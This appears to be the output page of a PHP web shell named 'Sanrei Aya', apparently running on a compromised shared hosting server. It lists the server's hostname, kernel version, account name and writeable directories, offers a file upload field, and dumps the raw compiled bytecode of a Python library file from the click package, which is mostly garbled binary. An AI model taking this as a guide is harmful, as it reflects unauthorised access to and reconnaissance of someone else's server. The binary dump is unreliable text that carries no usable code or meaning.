Yohohohohohooho | Sanrei Aya
Sanrei Aya


Server : LiteSpeed
System : Linux barito.iixcp.rumahweb.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : elvh3918 ( 1528)
PHP Version : 8.2.31
Disable Function : mail
Directory :  /usr/local/lib/python3.9/site-packages/click/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/local/lib/python3.9/site-packages/click/__pycache__/_compat.cpython-39.pyc
a

��Sh*I�
@s~UddlZddlZddlZddlZddlZddlZddlmZej	�
d�Zej	�
d�ZdZ
ejejejgejfed<e�d�Zdjejejeejeeeejd�d	d
�Zeed�dd
�Zejejed�dd�ZGdd�dej�ZGdd�d�Zdkejejeed�dd�Zdlejejeed�dd�Z ejejejejd�dd�Z!ejejejejd�dd�Z"ejed�dd�Z#ejeejeed �d!d"�Z$ejejeejeed#�d$d%�Z%dmejejejeejeejejejegefejejejgejejfeeejd&�d'd(�Z&dnejejejeejeeejd)�d*d+�Z'doejejejeejeeejd,�d-d.�Z(ejd/�d0d1�Z)ejd/�d2d3�Z*ejd/�d4d5�Z+dpejeejeejd6�d7d8�Z,dqejeejeejd6�d9d:�Z-drejeejeejd6�d;d<�Z.ej/ed=e0feejeejeejejd>�d?d@�Z1dsdCeejeejeeej2ejejefdD�dEdF�Z3GdGdH�dH�Z4eedI�dJdK�Z5ejejed�dLdM�Z6dtejejejejeedN�dOdP�Z7ej	�
d��rJe�rJdQdRl8m9Z9ed/�dSdT�Z:e�Z;ej<ejejfedU<duejejeejdN�dVd�Z
n8ed/�dWdT�Z:ejejeejeejejdX�dYdZ�Z9ee0d[�d\d]�Z=ejejed�d^d_�Z>ejgejejfejgejfejgejejfd`�dadb�Z?e?dcdd�e,�Z@e?dedd�e-�ZAe?dfdd�e.�ZBe)e*e+dg�ZCejDeejgejffedh<e,e-e.dg�ZEejDeejejeejegejffedi<dS)v�N)�WeakKeyDictionary�cygwin�win�auto_wrap_for_ansiz\033\[[;?0-9]*[a-zA-Z]F)�stream�encoding�errors�force_readable�force_writable�returncCs0|durt|�}|durd}t|||d||d�S)N�replaceT)�line_bufferingr	r
)�get_best_encoding�_NonClosingTextIOWrapper)rrrr	r
�r�7/usr/local/lib/python3.9/site-packages/click/_compat.py�_make_text_streams�r)rrcCs,zt�|�jdkWSty&YdS0dS)z$Checks if a given encoding is ascii.�asciiFN)�codecs�lookup�name�LookupError)rrrr�is_ascii_encoding$sr)rrcCs$t|dd�pt��}t|�r dS|S)z1Returns the default stream encoding if not found.rNzutf-8)�getattr�sys�getdefaultencodingr�r�rvrrrr,src	s\eZdZdejejeejeeeejdd��fdd�
Z	dd�dd�Z
ed�d	d
�Z�ZS)rFN)rrrr	r
�extrarcs8t�tjt|||��|_}t�j|||fi|��dS�N)�t�cast�BinaryIO�_FixupStream�_stream�super�__init__)�selfrrrr	r
r��	__class__rrr&5s	�
z!_NonClosingTextIOWrapper.__init__�rcCs$z|��WntyYn0dSr)�detach�	Exception�r'rrr�__del__Csz _NonClosingTextIOWrapper.__del__cCs
|j��Sr)r$�isattyr-rrrr/Isz_NonClosingTextIOWrapper.isatty)FF)
�__name__�
__module__�__qualname__r r"�Optional�str�bool�Anyr&r.r/�
__classcell__rrr(rr4s��rc@sreZdZdZdejeed�dd�Zeej	d�dd�Z
eed	�d
d�Z
ed�d
d�Zed�dd�Zed�dd�ZdS)r#aQThe new io interface needs more from streams than streams
    traditionally implement.  As such, this fix-up code is necessary in
    some circumstances.

    The forcing of readable and writable flags are there because some tools
    put badly patched objects on sys (one such offender are certain version
    of jupyter notebook).
    F)rr	r
cCs||_||_||_dSr)r$�_force_readable�_force_writable)r'rr	r
rrrr&Xsz_FixupStream.__init__�rrcCst|j|�Sr)rr$�r'rrrr�__getattr__bsz_FixupStream.__getattr__)�sizercCs2t|jdd�}|dur&t�t||��S|j�|�S)N�read1)rr$r r!�bytes�read)r'r=�frrrr>esz_FixupStream.read1r*cCsX|jr
dSt|jdd�}|dur.t�t|��Sz|j�d�WntyRYdS0dS)NT�readablerF)r8rr$r r!r5r@r,�r'�xrrrrBmsz_FixupStream.readablecCs~|jr
dSt|jdd�}|dur.t�t|��Sz|j�d�Wn:tyxz|j�d�WntyrYYdS0Yn0dS)NT�writable��F)r9rr$r r!r5�writer,rCrrrrEysz_FixupStream.writablecCsTt|jdd�}|dur$t�t|��Sz|j�|j���WntyNYdS0dS)N�seekableFT)rr$r r!r5�seek�tellr,rCrrrrI�sz_FixupStream.seekableN)FF)r0r1r2�__doc__r r"r5r&r4r6r<�intr?r>rBrErIrrrrr#Ns��
r#)r�defaultrcCs.zt|�d�t�WSty(|YS0dS�Nr)�
isinstancer@r?r,�rrNrrr�_is_binary_reader�srRcCsPz|�d�Wn<tyJz|�d�WYdSty@Yn0|YS0dS)NrGrFFT)rHr,rQrrr�_is_binary_writer�s

rScCsHt|d�rt�tj|�St|dd�}|durDt|d�rDt�tj|�SdS�NF�bufferT)rRr r!r"r�r�bufrrr�_find_binary_reader�s
rXcCsHt|d�rt�tj|�St|dd�}|durDt|d�rDt�tj|�SdSrT)rSr r!r"rrVrrr�_find_binary_writer�s
rYcCstt|dd�pd�S)z3A stream is misconfigured if its encoding is ASCII.rNr)rr�rrrr�_stream_is_misconfigured�sr[)r�attr�valuercCs$t||d�}||kp"|duo"|duS)z�A stream attribute is compatible if it is equal to the
    desired value or the desired value is unset and the attribute
    has a value.
    N)r)rr\r]Zstream_valuerrr�_is_compat_stream_attr�sr^)rrrrcCst|d|�ot|d|�S)zcCheck if a stream's encoding and errors attributes are
    compatible with the desired values.
    rr)r^)rrrrrr�_is_compatible_text_stream�s
�
�r_)�text_streamrr�	is_binary�find_binaryr	r
rc	Cs~||d�rt�tj|�}nFt�tj|�}t|||�rH|durDt|�sH|S||�}|dur\|S|}|durld}t|||||d�S)NFr)r	r
)r r!r"�TextIOr_r[r)	r`rrrarbr	r
Z
binary_readerZpossible_binary_readerrrr�_force_correct_text_stream�s,	
���rd)�text_readerrrr	rcCst|||tt|d�S)N�r	)rdrRrX)rerrr	rrr�_force_correct_text_readers�rg)�text_writerrrr
rcCst|||tt|d�S)N�r
)rdrSrY)rhrrr
rrr�_force_correct_text_writer(s�rjr*cCsttj�}|durtd��|S)Nz6Was not able to determine binary stream for sys.stdin.)rXr�stdin�RuntimeError)�readerrrr�get_binary_stdin8s
rncCsttj�}|durtd��|S)Nz7Was not able to determine binary stream for sys.stdout.)rYr�stdoutrl��writerrrr�get_binary_stdout?s
rrcCsttj�}|durtd��|S)Nz7Was not able to determine binary stream for sys.stderr.)rYr�stderrrlrprrr�get_binary_stderrFs
rt)rrrcCs,ttj||�}|dur|Sttj||dd�S)NTrf)�_get_windows_console_streamrrkrg�rrrrrr�get_text_stdinMsrwcCs,ttj||�}|dur|Sttj||dd�S�NTri)rurrorjrvrrr�get_text_stdoutVsrycCs,ttj||�}|dur|Sttj||dd�Srx)rurrsrjrvrrr�get_text_stderr_srzzos.PathLike[str])�file�moderrrcCs"d|vrt||�St||||d�S)z?Handles not passing ``encoding`` and ``errors`` in binary mode.�b�rr)�open)r{r|rrrrr�
_wrap_io_openhs
r��r�strictzt.Union[str, os.PathLike[str]])�filenamer|rr�atomicrc
s8d�v}t�|�}t�|�dkrrt�fdd�dD��rT|rDt�dfSt||d�dfS|rbt�dfSt||d�dfS|s�t|�||�dfSd	�vr�t	d
��d�vr�t	d��d
�vr�t	d��ddl
}ddl}zt�|�j
}Wnty�d}Yn0tjtjBtjB}	|�r|	ttdd�O}	tj�tj�|�d|�d�d���}
z&t�|
|	|du�rTdn|�}W�q�Wn�t�y�}zf|j
|jk�s�tjdk�r�|j
|jk�r�tj�|j��r�t�|jtj��r�WYd}~�q�WYd}~n
d}~00�q|du�r�t�|
|�t|�||�}
t |
|
tj�!|��}t"�#t"j$t"j%|�dfS)Nr}�-c3s|]}|�vVqdSrr)�.0�m�r|rr�	<genexpr>�rGzopen_stream.<locals>.<genexpr>)�w�arDFr~Tr�z�Appending to an existing file is not supported, because that would involve an expensive `copy`-operation to a temporary file. Open the file in normal `w`-mode and copy explicitly if that's what you're after.rDz&Use the `overwrite`-parameter instead.r�z,Atomic writes only make sense with `w`-mode.r�O_BINARYz.__atomic-writelZ08xi��nt)&�os�fspath�fsdecode�anyrrryrnrwr��
ValueError�errno�random�stat�st_mode�OSError�O_RDWR�O_CREAT�O_EXCLr�path�join�dirname�	randranger�EEXISTr�EACCES�isdirr��access�W_OK�chmod�_AtomicFile�realpathr r!�IOr6)r�r|rrr��binaryr�r��perm�flags�tmp_filename�fd�erA�afrr�r�open_streamusj


�

�
�
���
r�c@s�eZdZejejeedd�dd�Zeed�dd��Z	de
dd	�d
d�Zeejd�d
d�Zdd�dd�Z
ejejeejdd�dd�Zed�dd�ZdS)r�N)rAr��
real_filenamercCs||_||_||_d|_dS�NF)�_f�
_tmp_filename�_real_filename�closed)r'rAr�r�rrrr&�sz_AtomicFile.__init__r*cCs|jSr)r�r-rrrr�sz_AtomicFile.nameF)�deletercCs.|jr
dS|j��t�|j|j�d|_dS)NT)r�r��closer�rr�r�)r'r�rrrr��s

z_AtomicFile.closer:cCst|j|�Sr)rr�r;rrrr<�sz_AtomicFile.__getattr__cCs|Srrr-rrr�	__enter__�sz_AtomicFile.__enter__)�exc_type�_rcGs|j|dud�dS)N)r�)r�)r'r�r�rrr�__exit__�sz_AtomicFile.__exit__cCs
t|j�Sr)�reprr�r-rrr�__repr__�sz_AtomicFile.__repr__)F)r0r1r2r r�r6r4r&�propertyrr5r�r<r�r3�Type�
BaseExceptionr�r�rrrrr��s r�)r]rcCst�d|�S)NrF)�_ansi_re�sub)r]rrr�
strip_ansi�sr�cCs$t|ttf�r|j}q|jj�d�S)Nz
ipykernel.)rPr#rr$r)r1�
startswithrZrrr�_is_jupyter_kernel_output�sr�)r�colorrcCs0|dur*|durtj}t|�o(t|�S|Sr)rrkr/r�)rr�rrr�should_strip_ansi�s
r��)rucCsddl}|��SrO)�locale�getpreferredencoding)r�rrr�_get_argv_encodingsr��_ansi_stream_wrapperscs�zt�|�}Wnty$d}Yn0|dur2|Sddl}t||�}|j||d��t�tj�j	�}|j
���fdd�}||_
z|t|<Wnty�Yn0|S)zbSupport ANSI color and style codes on Windows by wrapping a
        stream with colorama.
        Nr)�stripcs,z
�|�WSty&����Yn0dSr)r��	reset_all)�s��_writeZansi_wrapperrr�_safe_writes

z'auto_wrap_for_ansi.<locals>._safe_write)r��getr,�coloramar��AnsiToWin32r r!rcrrH)rr��cachedr�r�rr�rr�rrs$

cCsttjdd�pt��S)Nr)rrrk�getfilesystemencodingrrrrr�.s)rArrrcCsdSrr)rArrrrrru1sru)rDrcCstt|��Sr)�lenr�)rDrrr�term_len7sr�cCs$z
|��WStyYdS0dSr�)r/r,rZrrrr/;s
r/)�src_func�wrapper_funcrcs(t��tjtjd����fdd�}|S)Nr*csn��}|durdSz��|�}Wnty6d}Yn0|durD|S��}z|�|<WntyhYn0|Sr)r�r,r��cacher�r�rr�funcHs
z&_make_cached_stream_func.<locals>.func)rr r3rc)r�r�r�rr�r�_make_cached_stream_funcBsr�cCstjSr)rrkrrrr�<lambda>^rGr�cCstjSr)rrorrrrr�_rGcCstjSr)rrsrrrrr�`rG)rkrors�binary_streams�text_streams)FF)F)F)FF)F)F)NN)NN)NN)r�Nr�F)NN)N)Fr�ior��rer�typingr �weakrefr�platformr�ZCYGWINZWINrr3�Callablerc�__annotations__�compiler�r"r4r5rrr�r6r�
TextIOWrapperrr#rRrSrXrYr[r^r_rdrgrjrnrrrtrwryrz�UnionrMr��Tupler�r�r�r�r�Z_winconsolerur�r��MutableMappingr�r/r�Z_default_text_stdinZ_default_text_stdoutZ_default_text_stderrr��Mappingr�rrrr�<module>s
"
��E	
  	
��
�2�
��
���
��
��

���Q��
��'
���$	��"�

Yohohohohohooho | Sanrei Aya